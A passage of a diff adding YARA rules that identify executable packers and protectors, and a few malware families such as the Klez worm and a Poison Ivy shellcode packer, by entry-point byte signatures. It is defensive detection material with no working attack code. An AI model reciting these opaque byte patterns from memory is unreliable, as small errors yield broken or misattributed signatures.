+	rule PKLITE32v11
+	{
+	strings:
+			$a0 = { 55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 00 00 00 5D C2 0C 00 8B 45 0C 57 56 53 8B 5D 10 }
+	$a1 = { 55 8B EC A1 ?? ?? ?? ?? 85 C0 74 09 B8 01 ?? ?? ?? 5D C2 0C ?? 8B 45 0C 57 56 53 8B 5D 10 }
+	$a2 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 00 00 00 00 E8 }
+	$a3 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 44 24 0C 50 }
+	$a4 = { 50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 or $a2 at (pe.entry_point) or $a3 at (pe.entry_point) or $a4 at (pe.entry_point)
+	}
+	
+*/	
+	rule STNPEE113
+	{
+	strings:
+			$a0 = { 55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SoftDefenderV11xRandyLi
+	{
+	strings:
+			$a0 = { 74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule CDCopsII
+	{
+	strings:
+			$a0 = { 53 60 BD ?? ?? ?? ?? 8D 45 ?? 8D 5D ?? E8 ?? ?? ?? ?? 8D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPack11BasicEditionap0x
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 4A 02 00 00 8D 9D 11 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXE32Packv13x
+	{
+	strings:
+			$a0 = { 3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule VxInvoluntary1349
+	{
+	strings:
+			$a0 = { BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule WinZip32bit6x
+	{
+	strings:
+			$a0 = { FF 15 FC 81 40 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPacKV36LiuXingPing
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D 83 ED 07 8D ?? ?? ?? ?? ?? 83 38 01 0F 84 47 02 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02LCCWin321xAnorganix
+	{
+	strings:
+			$a0 = { 64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECrypt10ReBirth
+	{
+	strings:
+			$a0 = { 90 90 60 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 4E 28 40 00 8B F7 AC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NJoy11NEX
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 B8 0C 3C 40 00 E8 24 FC FF FF 6A 00 68 28 3A 40 00 6A 0A 6A 00 E8 D8 FC FF FF E8 7F F5 FF FF 8D 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEcryptbyarchphase
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 E0 53 56 33 C0 89 45 E4 89 45 E0 89 45 EC ?? ?? ?? ?? 64 82 40 00 E8 7C C7 FF FF 33 C0 55 68 BE 84 40 00 64 FF 30 64 89 20 68 CC 84 40 00 ?? ?? ?? ?? 00 A1 10 A7 40 00 50 E8 1D C8 FF FF 8B D8 85 DB 75 39 E8 3A C8 FF FF 6A 00 6A 00 68 A0 A9 40 00 68 00 04 00 00 50 6A 00 68 00 13 00 00 E8 FF C7 FF FF 6A 00 68 E0 84 40 00 A1 A0 A9 40 00 50 6A 00 E8 ?? ?? ?? ?? E9 7D 01 00 00 53 A1 10 A7 40 00 50 E8 42 C8 FF FF 8B F0 85 F6 75 18 6A 00 68 E0 84 40 00 68 E4 84 40 00 6A 00 E8 71 C8 FF FF E9 53 01 00 00 53 6A 00 E8 2C C8 FF FF A3 ?? ?? ?? ?? 83 3D 48 A8 40 00 00 75 18 6A 00 68 E0 84 40 00 68 F8 84 40 00 6A 00 E8 43 C8 FF FF E9 25 01 00 00 56 E8 F8 C7 FF FF A3 4C A8 40 00 A1 48 A8 40 00 E8 91 A1 FF FF 8B D8 8B 15 48 A8 40 00 85 D2 7C 16 42 33 C0 8B 0D 4C A8 40 00 03 C8 8A 09 8D 34 18 88 0E 40 4A 75 ED 8B 15 48 A8 40 00 85 D2 7C 32 42 33 C0 8D 34 18 8A 0E 80 F9 01 75 05 C6 06 FF EB 1C 8D 0C 18 8A 09 84 ?? ?? ?? ?? ?? 00 EB 0E 8B 0D 4C A8 40 00 03 C8 0F B6 09 49 88 0E 40 4A 75 D1 8D ?? ?? ?? ?? E8 A5 A3 FF FF 8B 45 E8 8D 55 EC E8 56 D5 FF FF 8D 45 EC BA 18 85 40 00 E8 79 BA FF FF 8B 45 EC E8 39 BB FF FF 8B D0 B8 54 A8 40 00 E8 31 A6 FF FF BA 01 00 00 00 B8 54 A8 40 00 E8 12 A9 FF FF E8 DD A1 FF FF 68 50 A8 40 00 8B D3 8B 0D 48 A8 40 00 B8 54 A8 40 00 E8 56 A7 FF FF E8 C1 A1 FF FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule CrunchPEv30xx
+	{
+	strings:
+			$a0 = { EB 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 5D 81 ED 18 ?? ?? ?? 8B C5 55 60 9C 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF 74 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule LameCryptLaZaRus
+	{
+	strings:
+			$a0 = { 60 66 9C BB 00 ?? ?? 00 80 B3 00 10 40 00 90 4B 83 FB FF 75 F3 66 9D 61 B8 ?? ?? 40 00 FF E0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NsPack29NorthStar
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8A 06 3C 00 74 12 8B F5 8D B5 ?? ?? FF FF 8A 06 3C 01 0F 84 42 02 00 00 C6 06 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 6A 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 68 03 00 00 03 D9 50 53 E8 B1 02 00 00 61 8B 36 8B FD 03 BD ?? ?? FF FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 36 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule BeRoEXEPackerv100LZBRSBeRoFarbrausch
+	{
+	strings:
+			$a0 = { 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtBorlandC
+	{
+	strings:
+			$a0 = { 23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB }
+	$a1 = { 23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule VIRUSIWormKLEZ
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 40 D2 40 ?? 68 04 AC 40 ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 BC D0 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule YZPack12UsAr
+	{
+	strings:
+			$a0 = { 4D 5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PseudoSigner02LocklessIntroPackAnorganix
+	{
+	strings:
+			$a0 = { 2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PKLITE3211
+	{
+	strings:
+			$a0 = { 50 4B 4C 49 54 45 33 32 20 43 6F 70 79 72 69 67 68 74 20 31 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv20bartxt
+	{
+	strings:
+			$a0 = { 87 25 ?? ?? ?? 00 61 94 55 A4 B6 80 FF 13 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakeSVKP111emadicius
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule FSGv110EngdulekxtMASM32TASM32MicrosoftVisualBasic
+	{
+	strings:
+			$a0 = { F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor239DLLminimumprotection
+	{
+	strings:
+			$a0 = { 51 68 ?? ?? ?? ?? 87 2C 24 8B CD 5D 81 E1 ?? ?? ?? ?? E9 ?? ?? ?? 00 89 45 F8 51 68 ?? ?? ?? ?? 59 81 F1 ?? ?? ?? ?? 0B 0D ?? ?? ?? ?? 81 E9 ?? ?? ?? ?? E9 ?? ?? ?? 00 81 C2 ?? ?? ?? ?? E8 ?? ?? ?? 00 87 0C 24 59 51 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C E9 ?? ?? ?? 00 F7 D6 2B D5 E9 ?? ?? ?? 00 87 3C 24 8B CF 5F 87 14 24 1B CA E9 ?? ?? ?? 00 83 C4 08 68 ?? ?? ?? ?? E9 ?? ?? ?? 00 C3 E9 ?? ?? ?? 00 E9 ?? ?? ?? 00 50 8B C5 87 04 24 8B EC 51 0F 88 ?? ?? ?? 00 FF 05 ?? ?? ?? ?? E9 ?? ?? ?? 00 87 0C 24 59 99 03 04 24 E9 ?? ?? ?? 00 C3 81 D5 ?? ?? ?? ?? 9C E9 ?? ?? ?? 00 81 FA ?? ?? ?? ?? E9 ?? ?? ?? 00 C1 C3 15 81 CB ?? ?? ?? ?? 81 F3 ?? ?? ?? ?? 81 C3 ?? ?? ?? ?? 87 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule Frusionbiff
+	{
+	strings:
+			$a0 = { 83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule OpenSourceCodeCrypterp0ke
+	{
+	strings:
+			$a0 = { 55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0 E0 FF FF BE 01 00 00 00 B8 2C 68 40 00 E8 E1 F0 FF FF BF 0A 00 00 00 8D 55 EC 8B C6 E8 92 FC FF FF 8B 4D EC B8 2C 68 40 00 BA BC 47 40 00 E8 54 F2 FF FF A1 2C 68 40 00 E8 52 F3 FF FF 8B D0 B8 20 67 40 00 E8 A2 FC FF FF 8B D8 85 DB 0F 84 52 02 00 00 B8 24 67 40 00 8B 15 20 67 40 00 E8 78 F4 FF FF B8 24 67 40 00 E8 7A F3 FF FF 8B D0 8B C3 8B 0D 20 67 40 00 E8 77 E0 FF FF 8D 55 E8 A1 24 67 40 00 E8 42 FD FF FF 8B 55 E8 B8 24 67 40 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule QrYPt0rbyNuTraL
+	{
+	strings:
+			$a0 = { 80 F9 00 0F 84 8D 01 00 00 8A C3 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 32 C1 3C F3 75 89 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? BA D9 04 00 00 E8 00 00 00 00 5F 81 C7 16 01 00 00 80 2C 3A 01 }
+	$a1 = { 86 18 CC 64 FF 35 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 64 89 25 00 00 00 00 BB 00 00 F7 BF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B8 78 56 34 12 87 03 E8 CD FE FF FF E8 B3 }
+	$a2 = { EB 00 E8 B5 00 00 00 E9 2E 01 00 00 64 FF 35 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 64 89 25 00 00 00 00 8B 44 24 04 }
+
+	condition:
+			$a0 or $a1 or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor2xxmaxcompressedresources
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1 00 00 00 73 5B B9 04 00 00 00 E8 FD 00 00 00 48 74 DE 0F 89 C7 00 00 00 E8 D7 00 00 00 73 1B 55 BD 00 01 00 00 E8 D7 00 00 00 88 07 47 4D 75 F5 E8 BF 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 C8 00 00 00 83 C0 07 89 45 F0 C6 45 EF 00 83 F8 08 74 89 E8 A9 00 00 00 88 45 EF E9 7C FF FF FF B9 07 00 00 00 E8 A2 00 00 00 50 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Upackv024v028AlphaDwing
+	{
+	strings:
+			$a0 = { BE 88 01 40 00 AD ?? ?? 95 AD 91 F3 A5 AD }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThinstallEmbedded24222428Jitit
+	{
+	strings:
+			$a0 = { 55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D 9B 1A 00 00 B9 84 1A 00 00 BA 14 1B 00 00 BE 00 10 00 00 BF B0 53 00 00 BD E0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SVKProtectorv1051
+	{
+	strings:
+			$a0 = { 60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakeZCode101FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PEPacker
+	{
+	strings:
+			$a0 = { FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ProgramProtectorXPv10
+	{
+	strings:
+			$a0 = { E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SimplePack111Method2NTbagieTMX
+	{
+	strings:
+			$a0 = { 4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032aemadicius
+	{
+	strings:
+			$a0 = { E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 }
+	$a1 = { EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 }
+	$a2 = { E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF FF FF 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C }
+
+	condition:
+			$a0 or $a1 or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule VxHafen1641
+	{
+	strings:
+			$a0 = { E8 ?? ?? 01 ?? ?? ?? CE CC 25 ?? ?? 25 ?? ?? 25 ?? ?? 40 51 D4 ?? ?? ?? CC 47 CA ?? ?? 46 8A CC 44 88 CC }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule NativeUDPacker11ModdedPoisonIvyShellcodeokkixot
+	{
+	strings:
+			$a0 = { 31 C0 31 DB 31 C9 EB 0E 6A 00 6A 00 6A 00 6A 00 FF 15 28 41 40 00 FF 15 94 40 40 00 89 C7 68 88 13 00 00 FF 15 98 40 40 00 FF 15 94 40 40 00 81 C7 88 13 00 00 39 F8 73 05 E9 84 00 00 00 6A 40 68 00 10 00 00 FF 35 04 30 40 00 6A 00 FF 15 A4 40 40 00 89 C7 FF 35 04 30 40 00 68 CA 10 40 00 50 FF 15 A8 40 40 00 6A 40 68 00 10 00 00 FF 35 08 30 40 00 6A 00 FF 15 A4 40 40 00 89 C6 68 00 30 40 00 FF 35 04 30 40 00 57 FF 35 08 30 40 00 50 6A 02 FF 15 4E 41 40 00 6A 00 6A 00 6A 00 56 6A 00 6A 00 FF 15 9C 40 40 00 50 6A 00 6A 00 6A 11 50 FF 15 4A 41 40 00 58 6A FF 50 FF 15 AC 40 40 00 6A 00 FF 15 A0 40 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptor2xxcompressedresources
+	{
+	strings:
+			$a0 = { 56 57 53 31 DB 89 C6 89 D7 0F B6 06 89 C2 83 E0 1F C1 EA 05 74 2D 4A 74 15 8D 5C 13 02 46 C1 E0 08 89 FA 0F B6 0E 46 29 CA 4A 29 C2 EB 32 C1 E3 05 8D 5C 03 04 46 89 FA 0F B7 0E 29 CA 4A 83 C6 02 EB 1D C1 E3 04 46 89 C1 83 E1 0F 01 CB C1 E8 05 73 07 43 89 F2 01 DE EB 06 85 DB 74 0E EB A9 56 89 D6 89 D9 F3 A4 31 DB 5E EB 9D 89 F0 5B 5F 5E C3 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule NXPEPackerv10
+	{
+	strings:
+			$a0 = { FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PolyBoxCAnskya
+	{
+	strings:
+			$a0 = { 55 8B EC 83 C4 F0 53 56 B8 E4 41 00 10 E8 3A E1 FF FF 33 C0 55 68 11 44 00 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 6A 0A 68 20 44 00 10 A1 1C 71 00 10 50 E8 CC E1 ?? ?? ?? ?? 85 DB 0F 84 77 01 00 00 53 A1 1C 71 00 10 50 E8 1E E2 FF FF 8B F0 85 F6 0F 84 61 01 00 00 53 A1 1C 71 00 10 50 E8 E0 E1 FF FF 85 C0 0F 84 4D 01 00 00 50 E8 DA E1 FF FF 8B D8 85 DB 0F 84 3D 01 00 00 56 B8 70 80 00 10 B9 01 00 00 00 8B 15 98 41 00 10 E8 9E DE FF FF 83 C4 04 A1 70 80 00 10 8B CE 8B D3 E8 E1 E1 FF FF 6A 00 6A 00 A1 70 80 00 10 B9 30 44 00 10 8B D6 E8 F8 FD FF FF }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule UPolyXv05
+	{
+	strings:
+			$a0 = { 55 8B EC ?? 00 BD 46 00 8B ?? B9 ?? 00 00 00 80 ?? ?? 51 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+	$a1 = { 83 EC 04 89 14 24 59 BA ?? 00 00 00 52 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 }
+	$a2 = { BB 00 BD 46 00 83 EC 04 89 1C 24 ?? B9 ?? 00 00 00 80 33 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+	$a3 = { E8 00 00 00 00 59 83 C1 07 51 C3 C3 ?? 00 BD 46 00 83 EC 04 89 ?? 24 B9 ?? 00 00 00 81 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+	$a4 = { E8 00 00 00 00 59 83 C1 07 51 C3 C3 ?? 00 BD 46 00 ?? B9 ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+	$a5 = { EB 01 C3 ?? 00 BD 46 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
+
+	condition:
+			$a0 or $a1 or $a2 or $a3 or $a4 or $a5
+	}
+	
+	
+	rule beriav007publicWIPsymbiont
+	{
+	strings:
+			$a0 = { 83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule PCGuardv405dv410dv415d
+	{
+	strings:
+			$a0 = { FC 55 50 E8 00 00 00 00 5D EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule asscrypterbysantasdad
+	{
+	strings:
